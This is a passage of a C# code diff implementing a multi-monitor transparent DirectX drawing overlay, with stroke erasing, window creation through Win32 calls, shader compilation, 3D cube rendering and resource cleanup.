1.0f - (y / (float)bounds.Height) * 2.0f; + float eraseRadiusX = (strokeWidth / (float)bounds.Width) * 2.0f * 1.5f; + float eraseRadiusY = (strokeWidth / (float)bounds.Height) * 2.0f * 1.5f; + List remainingPoints = new List(data.Points.Count); + float radiusSquared = eraseRadiusX * eraseRadiusX; + for (int i = 0; i < data.Points.Count; i++) + { + var point = data.Points[i]; + float dx = point.Position.X - ndcX; + float dy = point.Position.Y - ndcY; + float distanceSquared = dx * dx + dy * dy; + float pointRadius = point.Size / (float)Math.Max(bounds.Width, bounds.Height); + if (distanceSquared > radiusSquared + pointRadius * pointRadius) + { + remainingPoints.Add(point); + } + } + if (remainingPoints.Count == 0 && data.Points.Count > 0) + { + isRemovingLastPoint = true; + } + if (remainingPoints.Count < data.Points.Count) + { + data.Points.Clear(); + data.Points.AddRange(remainingPoints); + data.RebuildIndices(); + } + } + } + if (shouldUpdate) + { + _needsUpdate[monitorIndex] = true; + if (isRemovingLastPoint) + { + ForceImmediateUpdate(monitorIndex); + } + } + } + catch (Exception ex) + { + Debug.WriteLine($"Erase error: {ex.Message}"); + } + } + private void ForceImmediateUpdate(int monitorIndex) + { + try + { + if (_deviceContexts.TryGetValue(monitorIndex, out DeviceContext context) && + _renderTargetViews.TryGetValue(monitorIndex, out RenderTargetView renderTargetView) && + _swapChains.TryGetValue(monitorIndex, out SwapChain swapChain)) + { + context.ClearRenderTargetView(renderTargetView, new Color4(0, 0, 0, 0)); + context.OutputMerger.SetRenderTargets(renderTargetView); + swapChain.Present(0, PresentFlags.None); + } + } + catch (Exception ex) + { + Debug.WriteLine($"ForceImmediateUpdate error: {ex.Message}"); + } + } + /// + /// Clears all drawings on a monitor + /// + public void ClearDrawings(int monitorIndex) + { + QueueDrawingAction(() => + { + try + { + if (_drawingData.TryGetValue(monitorIndex, out MonitorDrawingData data)) + { + data.Clear(); + _needsUpdate[monitorIndex] = true; + } + if (_deviceContexts.TryGetValue(monitorIndex, out DeviceContext context) && + _renderTargetViews.TryGetValue(monitorIndex, out RenderTargetView renderTargetView)) + { + context.ClearRenderTargetView(renderTargetView, new Color4(0, 0, 0, 0)); + if (_swapChains.TryGetValue(monitorIndex, out SwapChain swapChain)) + { + swapChain.Present(0, PresentFlags.None); + } + } + RenderOverlay(monitorIndex); + } + catch (Exception ex) + { + Debug.WriteLine($"ClearDrawings error: {ex.Message}"); + } + }); + } + /// + /// Creates the overlay window and DirectX resources + /// + private void ShowDrawingOverlay(int monitorIndex, Rectangle bounds) + { + if (_overlayWindows.TryGetValue(monitorIndex, out IntPtr hwnd) && hwnd != IntPtr.Zero) + { + return; + } + if (!_delegateInit) + { + _wndProcDelegate = DXOverlayWndProc; + _delegateInit = true; + } + string className = $"{monitorIndex}"; + WNDCLASS wndClass = new WNDCLASS(); + wndClass.lpfnWndProc = _wndProcDelegate; + wndClass.hInstance = NativeMethods.GetModuleHandle(null); + wndClass.lpszClassName = className; + wndClass.hbrBackground = IntPtr.Zero; + try + { + NativeMethods.RegisterClass(ref wndClass); + } + catch (Exception ex) + { + Debug.WriteLine($"RegisterClass error: {ex.Message}"); + } + hwnd = NativeMethods.CreateWindowEx( + NativeMethods.WS_EX_LAYERED | NativeMethods.WS_EX_TOOLWINDOW | NativeMethods.WS_EX_TRANSPARENT, + className, + "", + NativeMethods.WS_POPUP, + bounds.X, bounds.Y, bounds.Width, bounds.Height, + IntPtr.Zero, IntPtr.Zero, NativeMethods.GetModuleHandle(null), IntPtr.Zero); + if (hwnd == IntPtr.Zero) + { + Debug.WriteLine("Failed to create overlay window"); + return; + } + _overlayWindows[monitorIndex] = hwnd; + NativeMethods.SetLayeredWindowAttributes(hwnd, 0, 255, NativeMethods.LWA_COLORKEY | NativeMethods.LWA_ALPHA); + NativeMethods.ShowWindow(hwnd, NativeMethods.SW_SHOWNA); + NativeMethods.SetWindowPos( + hwnd, + NativeMethods.HWND_TOPMOST, + 0, 0, 0, 0, + NativeMethods.SWP_NOMOVE | NativeMethods.SWP_NOSIZE | NativeMethods.SWP_NOACTIVATE + ); + CreateDXResources(monitorIndex, hwnd, bounds); + } + /// + /// Create DirectX resources for a specific monitor overlay including swap chain, buffers, and shaders + /// + private void CreateDXResources(int monitorIndex, IntPtr windowHandle, Rectangle bounds) + { + try + { + var swapChainDesc = new SwapChainDescription + { + BufferCount = 2, + Usage = Usage.RenderTargetOutput, + OutputHandle = windowHandle, + IsWindowed = true, + ModeDescription = new ModeDescription( + bounds.Width, + bounds.Height, + new Rational(60, 1), + Format.B8G8R8A8_UNorm + ), + SampleDescription = new SampleDescription(1, 0), + Flags = SwapChainFlags.AllowModeSwitch, + SwapEffect = SwapEffect.Discard + }; + Device device; + SwapChain swapChain; + try + { + Device.CreateWithSwapChain( + DriverType.Hardware, + DeviceCreationFlags.BgraSupport, + swapChainDesc, + out device, + out swapChain + ); + } + catch (Exception ex) + { + Debug.WriteLine($"failed to create device & swap chain: {ex.Message}"); + return; + } + _devices[monitorIndex] = device; + _swapChains[monitorIndex] = swapChain; + var context = device.ImmediateContext; + _deviceContexts[monitorIndex] = context; + try + { + using (var backBuffer = swapChain.GetBackBuffer(0)) + { + var renderTargetView = new RenderTargetView(device, backBuffer); + _renderTargetViews[monitorIndex] = renderTargetView; + } + } + catch (Exception ex) + { + Debug.WriteLine($"failed to create render target view: {ex.Message}"); + return; + } + context.Rasterizer.SetViewport(0, 0, bounds.Width, bounds.Height); + try + { + var blendStateDesc = new BlendStateDescription(); + blendStateDesc.AlphaToCoverageEnable = false; + blendStateDesc.IndependentBlendEnable = false; + for (int i = 0; i < 8; i++) + { + blendStateDesc.RenderTarget[i].IsBlendEnabled = true; + blendStateDesc.RenderTarget[i].SourceBlend = BlendOption.SourceAlpha; + blendStateDesc.RenderTarget[i].DestinationBlend = BlendOption.InverseSourceAlpha; + blendStateDesc.RenderTarget[i].BlendOperation = BlendOperation.Add; + blendStateDesc.RenderTarget[i].SourceAlphaBlend = BlendOption.One; + blendStateDesc.RenderTarget[i].DestinationAlphaBlend = BlendOption.Zero; + blendStateDesc.RenderTarget[i].AlphaBlendOperation = BlendOperation.Add; + blendStateDesc.RenderTarget[i].RenderTargetWriteMask = ColorWriteMaskFlags.All; + } + var blendState = new BlendState(device, blendStateDesc); + context.OutputMerger.SetBlendState(blendState); + } + catch (Exception ex) + { + Debug.WriteLine($"failed to set blend state: {ex.Message}"); + } + if (!CompileShaders(device, monitorIndex)) + { + return; + } + try + { + var vertexBufferDesc = new BufferDescription + { + SizeInBytes = VertexPositionColor.SizeInBytes * INITIAL_BUFFER_SIZE * 4, + Usage = ResourceUsage.Dynamic, + BindFlags = BindFlags.VertexBuffer, + CpuAccessFlags = CpuAccessFlags.Write, + OptionFlags = ResourceOptionFlags.None + }; + var vertexBuffer = new Buffer(device, vertexBufferDesc); + _vertexBuffers[monitorIndex] = vertexBuffer; + var indexBufferDesc = new BufferDescription + { + SizeInBytes = sizeof(int) * INITIAL_BUFFER_SIZE * 6, + Usage = ResourceUsage.Dynamic, + BindFlags = BindFlags.IndexBuffer, + CpuAccessFlags = CpuAccessFlags.Write, + OptionFlags = ResourceOptionFlags.None + }; + var indexBuffer = new Buffer(device, indexBufferDesc); + _indexBuffers[monitorIndex] = indexBuffer; + _bufferSizes[monitorIndex] = INITIAL_BUFFER_SIZE; + } + catch (Exception ex) + { + Debug.WriteLine($"Failed to create buffers: {ex.Message}"); + return; + } + _drawingData[monitorIndex] = new MonitorDrawingData(INITIAL_BUFFER_SIZE); + _needsUpdate[monitorIndex] = true; + try + { + var rasterizerDesc = new RasterizerStateDescription + { + CullMode = CullMode.None, + FillMode = FillMode.Solid, + IsAntialiasedLineEnabled = true, + IsMultisampleEnabled = true, + IsFrontCounterClockwise = false, + IsScissorEnabled = false, + IsDepthClipEnabled = false + }; + var rasterState = new RasterizerState(device, rasterizerDesc); + context.Rasterizer.State = rasterState; + } + catch (Exception ex) + { + Debug.WriteLine($"failed to set rasterizer state: {ex.Message}"); + } + Setup3DResources(monitorIndex); + } + catch (Exception ex) + { + Debug.WriteLine($"CreateDXResources error: {ex.Message}"); + } + } + /// + /// Sets up the 3D resources for the overlay + /// + private void Setup3DResources(int monitorIndex) + { + if (!_devices.TryGetValue(monitorIndex, out Device device)) + { + Debug.WriteLine($"No device available for monitor {monitorIndex}"); + return; + } + var depthDesc = new Texture2DDescription + { + Width = Screen.AllScreens[monitorIndex].Bounds.Width, + Height = Screen.AllScreens[monitorIndex].Bounds.Height, + MipLevels = 1, + ArraySize = 1, + Format = Format.D24_UNorm_S8_UInt, + SampleDescription = new SampleDescription(1, 0), + Usage = ResourceUsage.Default, + BindFlags = BindFlags.DepthStencil, + CpuAccessFlags = CpuAccessFlags.None, + OptionFlags = ResourceOptionFlags.None + }; + var depthTexture = new Texture2D(device, depthDesc); + var depthStencilView = new DepthStencilView(device, depthTexture); + _deviceContexts[monitorIndex].OutputMerger.SetDepthStencilState( + new DepthStencilState(device, new DepthStencilStateDescription + { + IsDepthEnabled = true, + DepthWriteMask = DepthWriteMask.All, + DepthComparison = Comparison.Less, + IsStencilEnabled = false + }) + ); + _deviceContexts[monitorIndex].OutputMerger.SetRenderTargets(depthStencilView, _renderTargetViews[monitorIndex]); + _aspectRatio = (float)Screen.AllScreens[monitorIndex].Bounds.Width / Screen.AllScreens[monitorIndex].Bounds.Height; + if (!_vertex3DShaders.ContainsKey(monitorIndex)) + { + try + { + using (var vertexShaderBytecode = SharpDX.D3DCompiler.ShaderBytecode.Compile( + Vertex3DShaderCode, + "main", + "vs_4_0", + SharpDX.D3DCompiler.ShaderFlags.Debug)) + { + _vertex3DShaders[monitorIndex] = new VertexShader(device, vertexShaderBytecode); + var inputElements = new[] + { + new InputElement("POSITION", 0, Format.R32G32B32_Float, 0, 0), + new InputElement("COLOR", 0, Format.R32G32B32A32_Float, 12, 0) + }; + _input3DLayouts[monitorIndex] = new InputLayout(device, vertexShaderBytecode, inputElements); + } + using (var pixelShaderBytecode = SharpDX.D3DCompiler.ShaderBytecode.Compile( + Pixel3DShaderCode, + "main", + "ps_4_0", + SharpDX.D3DCompiler.ShaderFlags.Debug)) + { + _pixel3DShaders[monitorIndex] = new PixelShader(device, pixelShaderBytecode); + } + var matrixBufferDesc = new BufferDescription + { + Usage = ResourceUsage.Dynamic, + SizeInBytes = SharpDX.Utilities.SizeOf() * 3, + BindFlags = BindFlags.ConstantBuffer, + CpuAccessFlags = CpuAccessFlags.Write, + OptionFlags = ResourceOptionFlags.None, + StructureByteStride = 0 + }; + _matrixBuffers[monitorIndex] = new Buffer(device, matrixBufferDesc); + _cubes[monitorIndex] = new Dictionary(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error setting up 3D resources: {ex.Message}"); + } + } + } + /// + /// Creates a cube mesh with the specified colors for each face + /// + private void CreateCubeMesh(Device device, Cube3DData cube) + { + VertexPosition3DColor[] vertices = new VertexPosition3DColor[24]; + float halfSize = 0.5f; + vertices[0] = new VertexPosition3DColor(new Vector3(-halfSize, -halfSize, halfSize), cube.FrontColor); + vertices[1] = new VertexPosition3DColor(new Vector3(-halfSize, halfSize, halfSize), cube.FrontColor); + vertices[2] = new VertexPosition3DColor(new Vector3(halfSize, halfSize, halfSize), cube.FrontColor); + vertices[3] = new VertexPosition3DColor(new Vector3(halfSize, -halfSize, halfSize), cube.FrontColor); + vertices[4] = new VertexPosition3DColor(new Vector3(halfSize, -halfSize, -halfSize), cube.BackColor); + vertices[5] = new VertexPosition3DColor(new Vector3(halfSize, halfSize, -halfSize), cube.BackColor); + vertices[6] = new VertexPosition3DColor(new Vector3(-halfSize, halfSize, -halfSize), cube.BackColor); + vertices[7] = new VertexPosition3DColor(new Vector3(-halfSize, -halfSize, -halfSize), cube.BackColor); + vertices[8] = new VertexPosition3DColor(new Vector3(-halfSize, halfSize, halfSize), cube.TopColor); + vertices[9] = new VertexPosition3DColor(new Vector3(-halfSize, halfSize, -halfSize), cube.TopColor); + vertices[10] = new VertexPosition3DColor(new Vector3(halfSize, halfSize, -halfSize), cube.TopColor); + vertices[11] = new VertexPosition3DColor(new Vector3(halfSize, halfSize, halfSize), cube.TopColor); + vertices[12] = new VertexPosition3DColor(new Vector3(-halfSize, -halfSize, -halfSize), cube.BottomColor); + vertices[13] = new VertexPosition3DColor(new Vector3(-halfSize, -halfSize, halfSize), cube.BottomColor); + vertices[14] = new VertexPosition3DColor(new Vector3(halfSize, -halfSize, halfSize), cube.BottomColor); + vertices[15] = new VertexPosition3DColor(new Vector3(halfSize, -halfSize, -halfSize), cube.BottomColor); + vertices[16] = new VertexPosition3DColor(new Vector3(-halfSize, -halfSize, -halfSize), cube.LeftColor); + vertices[17] = new VertexPosition3DColor(new Vector3(-halfSize, halfSize, -halfSize), cube.LeftColor); + vertices[18] = new VertexPosition3DColor(new Vector3(-halfSize, halfSize, halfSize), cube.LeftColor); + vertices[19] = new VertexPosition3DColor(new Vector3(-halfSize, -halfSize, halfSize), cube.LeftColor); + vertices[20] = new VertexPosition3DColor(new Vector3(halfSize, -halfSize, halfSize), cube.RightColor); + vertices[21] = new VertexPosition3DColor(new Vector3(halfSize, halfSize, halfSize), cube.RightColor); + vertices[22] = new VertexPosition3DColor(new Vector3(halfSize, halfSize, -halfSize), cube.RightColor); + vertices[23] = new VertexPosition3DColor(new Vector3(halfSize, -halfSize, -halfSize), cube.RightColor); + var vertexBufferDesc = new BufferDescription + { + SizeInBytes = VertexPosition3DColor.SizeInBytes * vertices.Length, + Usage = ResourceUsage.Default, + BindFlags = BindFlags.VertexBuffer, + CpuAccessFlags = CpuAccessFlags.None, + OptionFlags = ResourceOptionFlags.None + }; + cube.VertexBuffer = Buffer.Create(device, vertices, vertexBufferDesc); + cube.VertexCount = vertices.Length; + int[] indices = new int[36]; + indices[0] = 0; indices[1] = 1; indices[2] = 2; + indices[3] = 0; indices[4] = 2; indices[5] = 3; + indices[6] = 4; indices[7] = 5; indices[8] = 6; + indices[9] = 4; indices[10] = 6; indices[11] = 7; + indices[12] = 8; indices[13] = 9; indices[14] = 10; + indices[15] = 8; indices[16] = 10; indices[17] = 11; + indices[18] = 12; indices[19] = 13; indices[20] = 14; + indices[21] = 12; indices[22] = 14; indices[23] = 15; + indices[24] = 16; indices[25] = 17; indices[26] = 18; + indices[27] = 16; indices[28] = 18; indices[29] = 19; + indices[30] = 20; indices[31] = 21; indices[32] = 22; + indices[33] = 20; indices[34] = 22; indices[35] = 23; + var indexBufferDesc = new BufferDescription + { + SizeInBytes = sizeof(int) * indices.Length, + Usage = ResourceUsage.Default, + BindFlags = BindFlags.IndexBuffer, + CpuAccessFlags = CpuAccessFlags.None, + OptionFlags = ResourceOptionFlags.None + }; + cube.IndexBuffer = Buffer.Create(device, indices, indexBufferDesc); + cube.IndexCount = indices.Length; + } + /// + /// Compile vertex and pixel shaders at runtime + /// + private bool CompileShaders(Device device, int monitorIndex) + { + try + { + using (var vertexShaderBytecode = SharpDX.D3DCompiler.ShaderBytecode.Compile( + VertexShaderCode, + "main", + "vs_4_0", + SharpDX.D3DCompiler.ShaderFlags.Debug)) + { + var vertexShader = new VertexShader(device, vertexShaderBytecode); + _vertexShaders[monitorIndex] = vertexShader; + var inputElements = new[] + { + new InputElement("POSITION", 0, Format.R32G32_Float, 0, 0), + new InputElement("COLOR", 0, Format.R32G32B32A32_Float, 8, 0), + new InputElement("SIZE", 0, Format.R32_Float, 24, 0) + }; + var inputLayout = new InputLayout(device, vertexShaderBytecode, inputElements); + _inputLayouts[monitorIndex] = inputLayout; + } + using (var pixelShaderBytecode = SharpDX.D3DCompiler.ShaderBytecode.Compile( + PixelShaderCode, + "main", + "ps_4_0", + SharpDX.D3DCompiler.ShaderFlags.Debug)) + { + var pixelShader = new PixelShader(device, pixelShaderBytecode); + _pixelShaders[monitorIndex] = pixelShader; + } + return true; + } + catch (Exception ex) + { + Debug.WriteLine($"CompileShaders error: {ex.Message}"); + return false; + } + } + /// + /// Update all active overlays + /// + private void UpdateActiveOverlays() + { + UpdateAnimatedCubes(); + HashSet monitorsToUpdate = new HashSet(); + foreach (var kvp in _needsUpdate) + { + if (kvp.Value) + { + monitorsToUpdate.Add(kvp.Key); + } + } + foreach (var monitorIndex in monitorsToUpdate) + { + try + { + RenderOverlay(monitorIndex); + _needsUpdate[monitorIndex] = false; + } + catch (Exception ex) + { + Debug.WriteLine($"UpdateActiveOverlays error: {ex.Message}"); + } + } + } + /// + /// Renders the overlay for a monitor + /// + private void RenderOverlay(int monitorIndex) + { + try + { + if (!_deviceContexts.TryGetValue(monitorIndex, out DeviceContext context) || + !_renderTargetViews.TryGetValue(monitorIndex, out RenderTargetView renderTargetView) || + !_vertexShaders.TryGetValue(monitorIndex, out VertexShader vertexShader) || + !_pixelShaders.TryGetValue(monitorIndex, out PixelShader pixelShader) || + !_inputLayouts.TryGetValue(monitorIndex, out InputLayout inputLayout) || + !_vertexBuffers.TryGetValue(monitorIndex, out Buffer vertexBuffer) || + !_indexBuffers.TryGetValue(monitorIndex, out Buffer indexBuffer) || + !_swapChains.TryGetValue(monitorIndex, out SwapChain swapChain) || + !_drawingData.TryGetValue(monitorIndex, out MonitorDrawingData drawingData)) + { + Debug.WriteLine($"Missing DirectX resources for monitor {monitorIndex}"); + return; + } + if (drawingData.Points.Count == 0) + { + context.ClearRenderTargetView(renderTargetView, new Color4(0, 0, 0, 0)); + bool hasContent = false; + if (_cubes.TryGetValue(monitorIndex, out Dictionary cubes) && cubes.Count > 0) + { + Render3DCubes(monitorIndex, context, cubes.Values.ToList()); + hasContent = true; + } + if (_customRenderables.TryGetValue(monitorIndex, out Dictionary renderables) && renderables.Count > 0) + { + RenderCustomRenderables(monitorIndex, context, renderables.Values.ToList()); + hasContent = true; + } + if (hasContent) + { + swapChain.Present(1, PresentFlags.DoNotWait); + } + return; + } + int pointCount = drawingData.Points.Count; + int vertexCount = pointCount * 4; + int usedIndices = pointCount * 6; + if (!_bufferSizes.TryGetValue(monitorIndex, out int currentBufferSize) || + vertexCount > currentBufferSize * 4) + { + int newBufferSize = Math.Max(pointCount * 2, INITIAL_BUFFER_SIZE); + try + { + Debug.WriteLine($"resizing buffers for monitor {monitorIndex}: " + + $"points={pointCount}, new capacity={newBufferSize}"); + var newVertexBufferDesc = new BufferDescription + { + SizeInBytes = VertexPositionColor.SizeInBytes * newBufferSize * 4, + Usage = ResourceUsage.Dynamic, + BindFlags = BindFlags.VertexBuffer, + CpuAccessFlags = CpuAccessFlags.Write, + OptionFlags = ResourceOptionFlags.None + }; + var newVertexBuffer = new Buffer(context.Device, newVertexBufferDesc); + var newIndexBufferDesc = new BufferDescription + { + SizeInBytes = sizeof(int) * newBufferSize * 6, + Usage = ResourceUsage.Dynamic, + BindFlags = BindFlags.IndexBuffer, + CpuAccessFlags = CpuAccessFlags.Write, + OptionFlags = ResourceOptionFlags.None + }; + var newIndexBuffer = new Buffer(context.Device, newIndexBufferDesc); + vertexBuffer.Dispose(); + indexBuffer.Dispose(); + _vertexBuffers[monitorIndex] = newVertexBuffer; + _indexBuffers[monitorIndex] = newIndexBuffer; + _bufferSizes[monitorIndex] = newBufferSize; + vertexBuffer = newVertexBuffer; + indexBuffer = newIndexBuffer; + } + catch (Exception ex) + { + Debug.WriteLine($"Failed to resize buffers: {ex.Message}"); + } + } + try + { + var quadVertices = new VertexPositionColor[vertexCount]; + for (int i = 0; i < pointCount; i++) + { + var point = drawingData.Points[i]; + float halfSize = point.Size * 0.5f; + quadVertices[i * 4] = new VertexPositionColor( + new Vector2(point.Position.X - halfSize, point.Position.Y - halfSize), + point.Color, + point.Size + ); + quadVertices[i * 4 + 1] = new VertexPositionColor( + new Vector2(point.Position.X + halfSize, point.Position.Y - halfSize), + point.Color, + point.Size + ); + quadVertices[i * 4 + 2] = new VertexPositionColor( + new Vector2(point.Position.X - halfSize, point.Position.Y + halfSize), + point.Color, + point.Size + ); + quadVertices[i * 4 + 3] = new VertexPositionColor( + new Vector2(point.Position.X + halfSize, point.Position.Y + halfSize), + point.Color, + point.Size + ); + } + try + { + var vertexDataBox = context.MapSubresource( + vertexBuffer, + 0, + MapMode.WriteDiscard, + SharpDX.Direct3D11.MapFlags.None); + SharpDX.Utilities.Write(vertexDataBox.DataPointer, quadVertices, 0, vertexCount); + context.UnmapSubresource(vertexBuffer, 0); + } + catch (Exception ex) + { + Debug.WriteLine($"Error updating vertex buffer: {ex.Message}"); + return; + } + try + { + var indexDataBox = context.MapSubresource( + indexBuffer, + 0, + MapMode.WriteDiscard, + SharpDX.Direct3D11.MapFlags.None); + SharpDX.Utilities.Write(indexDataBox.DataPointer, drawingData.Indices, 0, usedIndices); + context.UnmapSubresource(indexBuffer, 0); + } + catch (Exception ex) + { + Debug.WriteLine($"Error updating index buffer: {ex.Message}"); + return; + } + context.ClearRenderTargetView(renderTargetView, new Color4(0, 0, 0, 0)); + context.OutputMerger.SetRenderTargets(renderTargetView); + context.VertexShader.Set(vertexShader); + context.PixelShader.Set(pixelShader); + context.InputAssembler.InputLayout = inputLayout; + context.InputAssembler.PrimitiveTopology = PrimitiveTopology.TriangleList; + context.InputAssembler.SetVertexBuffers(0, new VertexBufferBinding(vertexBuffer, VertexPositionColor.SizeInBytes, 0)); + context.InputAssembler.SetIndexBuffer(indexBuffer, Format.R32_UInt, 0); + context.DrawIndexed(usedIndices, 0, 0); + if (_cubes.TryGetValue(monitorIndex, out Dictionary cubes) && cubes.Count > 0) + { + Render3DCubes(monitorIndex, context, cubes.Values.ToList()); + } + if (_customRenderables.TryGetValue(monitorIndex, out Dictionary renderables) && renderables.Count > 0) + { + RenderCustomRenderables(monitorIndex, context, renderables.Values.ToList()); + } + swapChain.Present(1, PresentFlags.DoNotWait); + } + catch (SharpDXException dx) + { + Debug.WriteLine($"DirectX error in RenderOverlay: {dx.Message}"); + } + catch (Exception ex) + { + Debug.WriteLine($"RenderOverlay error: {ex.Message}"); + } + } + catch (Exception ex) + { + Debug.WriteLine($"RenderOverlay outer error: {ex.Message}"); + } + } + /// + /// Renders the 3D cubes for a monitor + /// + private void Render3DCubes(int monitorIndex, DeviceContext context, List cubes) + { + try + { + if (!_vertex3DShaders.TryGetValue(monitorIndex, out VertexShader vertexShader) || + !_pixel3DShaders.TryGetValue(monitorIndex, out PixelShader pixelShader) || + !_input3DLayouts.TryGetValue(monitorIndex, out InputLayout inputLayout) || + !_matrixBuffers.TryGetValue(monitorIndex, out Buffer matrixBuffer)) + { + Setup3DResources(monitorIndex); + if (!_vertex3DShaders.TryGetValue(monitorIndex, out vertexShader) || + !_pixel3DShaders.TryGetValue(monitorIndex, out pixelShader) || + !_input3DLayouts.TryGetValue(monitorIndex, out inputLayout) || + !_matrixBuffers.TryGetValue(monitorIndex, out matrixBuffer)) + { + return; + } + } + context.InputAssembler.PrimitiveTopology = PrimitiveTopology.TriangleList; + context.VertexShader.Set(vertexShader); + context.PixelShader.Set(pixelShader); + context.InputAssembler.InputLayout = inputLayout; + Matrix viewMatrix = Matrix.LookAtLH(_cameraPosition, _cameraTarget, _cameraUp); + Matrix projectionMatrix = Matrix.PerspectiveFovLH( + _fieldOfView, + _aspectRatio, + _nearPlane, + _farPlane + ); + foreach (var cube in cubes) + { + DataStream mappedResource; + context.MapSubresource(matrixBuffer, MapMode.WriteDiscard, SharpDX.Direct3D11.MapFlags.None, out mappedResource); + mappedResource.Write(cube.WorldMatrix); + mappedResource.Write(viewMatrix); + mappedResource.Write(projectionMatrix); + context.UnmapSubresource(matrixBuffer, 0); + context.VertexShader.SetConstantBuffer(0, matrixBuffer); + context.InputAssembler.SetVertexBuffers(0, new VertexBufferBinding(cube.VertexBuffer, VertexPosition3DColor.SizeInBytes, 0)); + context.InputAssembler.SetIndexBuffer(cube.IndexBuffer, Format.R32_UInt, 0); + context.DrawIndexed(cube.IndexCount, 0, 0); + } + } + catch (Exception ex) + { + Debug.WriteLine($"Render3DCubes error: {ex.Message}"); + } + } + /// + /// Renders custom renderables for a monitor + /// + private void RenderCustomRenderables(int monitorIndex, DeviceContext context, List renderables) + { + try + { + Matrix viewMatrix = Matrix.LookAtLH(_cameraPosition, _cameraTarget, _cameraUp); + Matrix projectionMatrix = Matrix.PerspectiveFovLH( + _fieldOfView, + _aspectRatio, + _nearPlane, + _farPlane + ); + bool customShaderApplied = false; + if (_customShaders.TryGetValue(monitorIndex, out Dictionary shaders) && shaders.Count > 0) + { + foreach (var shader in shaders.Values) + { + try + { + shader.Apply(context); + customShaderApplied = true; + break; + } + catch (Exception ex) + { + Debug.WriteLine($"Error applying custom shader {shader.ShaderId}: {ex.Message}"); + } + } + } + foreach (var renderable in renderables) + { + try + { + renderable.Render(context, viewMatrix, projectionMatrix); + renderable.NeedsUpdate = false; + } + catch (Exception ex) + { + Debug.WriteLine($"Error rendering custom renderable {renderable.RenderableId}: {ex.Message}"); + } + } + if (customShaderApplied && + _vertexShaders.TryGetValue(monitorIndex, out VertexShader defaultVS) && + _pixelShaders.TryGetValue(monitorIndex, out PixelShader defaultPS)) + { + context.VertexShader.Set(defaultVS); + context.PixelShader.Set(defaultPS); + } + } + catch (Exception ex) + { + Debug.WriteLine($"RenderCustomRenderables error: {ex.Message}"); + } + } + private IntPtr DXOverlayWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam) + { + switch (msg) + { + case NativeMethods.WM_DESTROY: + try + { + var toRemove = new List(); + foreach (var pair in _overlayWindows) + { + if (pair.Value == hWnd) + { + toRemove.Add(pair.Key); + CleanupDirectXResources(pair.Key); + } + } + foreach (var key in toRemove) + { + _overlayWindows.Remove(key); + } + } + catch (Exception ex) + { + Debug.WriteLine($"WndProc error: {ex.Message}"); + } + break; + } + return NativeMethods.DefWindowProc(hWnd, msg, wParam, lParam); + } + /// + /// Clean up DirectX resources for a monitor + /// + private void CleanupDirectXResources(int monitorIndex) + { + try + { + if (_renderTargetViews.TryGetValue(monitorIndex, out RenderTargetView renderTargetView)) + { + renderTargetView.Dispose(); + _renderTargetViews.Remove(monitorIndex); + } + if (_vertexBuffers.TryGetValue(monitorIndex, out Buffer vertexBuffer)) + { + vertexBuffer.Dispose(); + _vertexBuffers.Remove(monitorIndex); + } + if (_inputLayouts.TryGetValue(monitorIndex, out InputLayout inputLayout)) + { + inputLayout.Dispose(); + _inputLayouts.Remove(monitorIndex); + } + if (_vertexShaders.TryGetValue(monitorIndex, out VertexShader vertexShader)) + { + vertexShader.Dispose(); + _vertexShaders.Remove(monitorIndex); + } + if (_pixelShaders.TryGetValue(monitorIndex, out PixelShader pixelShader)) + { + pixelShader.Dispose(); + _pixelShaders.Remove(monitorIndex); + } + if (_swapChains.TryGetValue(monitorIndex, out SwapChain swapChain)) + { + swapChain.Dispose(); + _swapChains.Remove(monitorIndex); + } + if (_deviceContexts.TryGetValue(monitorIndex, out DeviceContext context)) + { + context.Dispose(); + _deviceContexts.Remove(monitorIndex); + } + if (_devices.TryGetValue(monitorIndex, out Device device)) + { + device.Dispose(); + _devices.Remove(monitorIndex); + } + _needsUpdate.Remove(monitorIndex); + } + catch (Exception ex) + { + Debug.WriteLine($"CleanupDirectXResources error: {ex.Message}"); + } + } + /// + /// Disposes of all resources used by screen overlay + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + _drawingThreadRunning = false; + _drawingSignal.Set(); + if (_drawingThread != null && _drawingThread.IsAlive) + { + try + { + _drawingThread.Join(1000); + } + catch (Exception ex) + { + Debug.WriteLine($"Thread join error: {ex.Message}"); + } + } + _drawingSignal.Dispose(); + List windowsToDestroy = new List(); + foreach (var handle in _overlayWindows.Values) + { + if (handle != IntPtr.Zero) + windowsToDestroy.Add(handle); + } + foreach (var monitorIndex in _devices.Keys.ToList()) + { + if (_customRenderables.TryGetValue(monitorIndex, out var renderables)) + { + foreach (var renderable in renderables.Values) + { + try + { + renderable.Dispose(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error disposing custom renderable: {ex.Message}"); + } + } + renderables.Clear(); + } + if (_customShaders.TryGetValue(monitorIndex, out var shaders)) + { + foreach (var shader in shaders.Values) + { + try + { + shader.Dispose(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error disposing custom shader: {ex.Message}"); + } + } + shaders.Clear(); + } + CleanupDirectXResources(monitorIndex); + } + foreach (var handle in windowsToDestroy) + { + NativeMethods.DestroyWindow(handle); + } + _overlayWindows.Clear(); + } + } + /// + /// Native methods for window operations + /// + public static class NativeMethods + { + public const int GWL_EXSTYLE = -20; + public const int WS_EX_LAYERED = 0x80000; + public const int WS_EX_TRANSPARENT = 0x20; + public const int WS_EX_TOPMOST = 0x8; + public const int WS_EX_TOOLWINDOW = 0x80; + public const uint WS_POPUP = 0x80000000; + public const int SWP_NOMOVE = 0x2; + public const int SWP_NOSIZE = 0x1; + public const int SWP_NOACTIVATE = 0x10; + public const int SWP_SHOWWINDOW = 0x40; + public const int SWP_NOOWNERZORDER = 0x0200; + public const int HWND_TOPMOST = -1; + public const int SWP_NOZORDER = 4; + public const int HWND_NOTOPMOST = -2; + public const int LWA_COLORKEY = 0x00000001; + public const int LWA_ALPHA = 0x00000002; + public const int SW_SHOW = 5; + public const int SW_SHOWNA = 8; + public const int BLACK_BRUSH = 4; + public const int NULL_BRUSH = 5; + public const uint WM_DESTROY = 0x0002; + public const uint WM_PAINT = 0x000F; + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern IntPtr GetModuleHandle(string lpModuleName); + [DllImport("user32.dll", SetLastError = true)] + public static extern int GetWindowLong(IntPtr hWnd, int nIndex); + [DllImport("user32.dll", SetLastError = true)] + public static extern int SetWindowLong(IntPtr hWnd, int nIndex, int 